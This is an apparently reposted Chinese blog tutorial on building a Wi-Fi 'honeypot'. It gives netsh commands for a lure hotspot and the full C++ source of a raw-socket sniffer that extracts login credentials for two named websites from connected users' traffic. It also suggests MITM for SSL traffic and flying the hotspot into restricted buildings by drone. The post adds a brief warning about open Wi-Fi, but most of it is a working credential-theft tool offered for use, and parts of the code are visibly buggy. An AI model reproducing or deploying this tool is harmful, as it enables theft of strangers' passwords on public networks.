zoukankan      html  css  js  c++  java
  • Windows下的无线热点蜜罐

              Windows下的无线热点蜜罐

     

    /**************************************
    /* 作者:半斤八兩
    /* 博客:http://cnblogs.com/bjblcracked
    /* 日期:2013-09-30  23:59
    /**************************************


    只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

     

     

      许多公共场所我们都会看到有许多免密码的无线热点.我们大多数的人发现有免密热点,都会很高兴的感慨,  “运气真好,居然有不要密码的无线热点.” 可是否有人知道自己连上的是一个正在监视自己的眼睛?

     

      WIFI即Hotspot也称无线热点,是指在公共场所提供无线局域网WLAN)接入Internet服务的地点。这类地点多数是咖啡馆、机场、车站、商务酒店、高等院校、大型展览会馆等。这些热点有的是收费的提供无线宽带接入服务,有的则是免费的。在无线热点覆盖的地区,用户可以通过使用装有内置或外置无线网卡的笔记本电脑和PDA,来实现对Internet的接入。

     

    试验平台:winn7 x86 台式机

    工具无线网卡(USB)接收器

    首先们来说一下怎样搭建wifi 蜜罐.

    Win7下有一个命令可以创建个wifi.

    netsh wlan set hostednetwork ssid=pass:123456789 key=123456789

     

     

    Ssid 就是上图中显示的东西.

    防止别人不知道密码,我们就改成 pass:123456789

    Key 我们就直接弄成 123456789

    这里要注意, ssid 尽量不要弄中文的.经本人测试,发现iphone不支持中文ssid.

     

    然后我们用命令启动它.

    netsh wlan start hostednetwork

     

     

    这一些前提是我们要先插上wifi 接收器.

     

    否则我们创建虚拟wifi 是不会成功的.

    现在创建好了,我们写个抓包小程序,就可以等着chicken上勾就行了.

    抓包我们要用混杂模式混杂模式可以抓到当前电脑所有网卡数据包.

     

      1 #include <stdio.h>
      2 #include <winsock2.h>
      3 #include "DataStruct.h"
      4 #include "InitSocket.h"
      5 #include <iostream>
      6 #include "mstcpip.h"
      7 using namespace std;
      8 CInitSocket initSock;
      9 
     10 int nRet = 0;
     11 void IsWifiHoneypots(PCHAR pBuff)
     12 {
     13     PIPHEADER pIphdr = (PIPHEADER)pBuff;
     14 
     15     pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);
     16 
     17     PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;
     18 
     19     memset(szText, ' ', nRet);
     20 
     21     int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);
     22 
     23     memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);
     24     
     25     int i = 0;
     26     char szEmail[MAXBYTE] = {0};
     27     PCHAR pEmail = szEmail;
     28 
     29 
     30     if(strstr(szText, "wooyun.org"))
     31     if(strstr(szText, "email"))
     32     {
     33         puts("--------------------------------------------");
     34         cout<<"found Wooyun.org password:" << endl;
     35 
     36         pEmail = strstr(szText, "email");
     37 
     38         for(i = 0; (pEmail[i] != '&'); i++);
     39 
     40         pEmail[i] = '';
     41         
     42         puts(pEmail);
     43 
     44         pEmail += i + 1;
     45 
     46         if(strstr(pEmail, "password"))
     47         {        
     48             pEmail = strstr(pEmail, "password");
     49             
     50             for(i = 0; (pEmail[i] != '&'); i++);
     51             
     52             pEmail[i] = '';
     53             
     54             puts(pEmail);
     55         }
     56 
     57         puts("--------------------------------------------");
     58     }
     59 
     60 
     61     if(strstr(szText, "pediy.com"))
     62         if(strstr(szText, "username"))
     63         {
     64             puts("--------------------------------------------");
     65             cout<<"found pediy.com password:" << endl;
     66             
     67             pEmail = strstr(szText, "username");
     68             
     69             for(i = 0; (pEmail[i] != '&'); i++);
     70             
     71             pEmail[i] = '';
     72             
     73             puts(pEmail);
     74             
     75             pEmail += i + 1;
     76             
     77             if(strstr(pEmail, "md5password_utf="))
     78             {        
     79                 pEmail = strstr(pEmail, "md5password_utf=");
     80                 
     81                 for(i = 0; (pEmail[i] != 0x20); i++);
     82                 
     83                 pEmail[i] = '';
     84                 
     85                 puts(pEmail);
     86             }
     87             
     88             puts("--------------------------------------------");
     89     }
     90 }
     91 
     92 int main(void)
     93 {
     94     system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");
     95 
     96     SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
     97 
     98     char szHostName[56];
     99 
    100     SOCKADDR_IN localAddr;
    101     
    102     struct hostent *pHost;
    103     gethostname(szHostName, 56);
    104     if ((pHost = gethostbyname((char*)szHostName)) == NULL)
    105     {
    106         return 0;
    107     }
    108     localAddr.sin_family = AF_INET;
    109     localAddr.sin_port  = htons(0);
    110     memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);
    111 
    112     if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)
    113     {
    114         return 0;
    115     }
    116 
    117     DWORD dwValue = 1;
    118 
    119     if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
    120     {
    121         return 0;
    122     }
    123 
    124     cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl;
    125 
    126     char buff[1024];
    127     while(true)
    128     {
    129         nRet = recv(sRaw, buff, 1024, 0);
    130         if (nRet > 0)
    131         {
    132             buff[nRet] = '';
    133             IsWifiHoneypots(buff);
    134         }
    135     }
    136     closesocket(sRaw);
    137     return 0;
    138 }

     

      

     

    为了敢在国庆前之前,代码写的有点乱.大家将就的看吧.(应该还有不少BUG.但是wooyun 和 看雪的,应该都能抓到了.)

    Wooyunpost直接是明文的密码看雪的还是做了md5 处理.

    如果遇到了ssl的可以用mitm 处理. (这里就不说了,网上有很多资料.) 

    通过文篇文章大家应该注意 不要随意上没有密码的 wifi..

    我们设想一下,如果是一个不让进的,或者什么高级产所,我们的wifi信号不够广我们可以用一个小车子,wifi热点放上去开启明显的ssid. 杀进去.

    如果是高楼大厦,那我们可以将wifi热点 装进小飞机,杀进去.~

     

    PDF下载<看雪学院>

  • 相关阅读:
    数论 欧几里德算法 以及 欧几里得拓展
    数论 快速幂的原理讲解
    汉诺塔模板
    C++ 迭代器运算
    C++ STL vector set map 简易用法
    C++ 使用指向函数的指针数组
    Codeforces 718C 线段树+矩乘
    BZOJ 2506 分块
    Codeforces 455D 分块+链表
    Codeforces 19E 树上差分
  • 原文地址:https://www.cnblogs.com/BjblCracked/p/3348179.html
Copyright © 2011-2022 走看看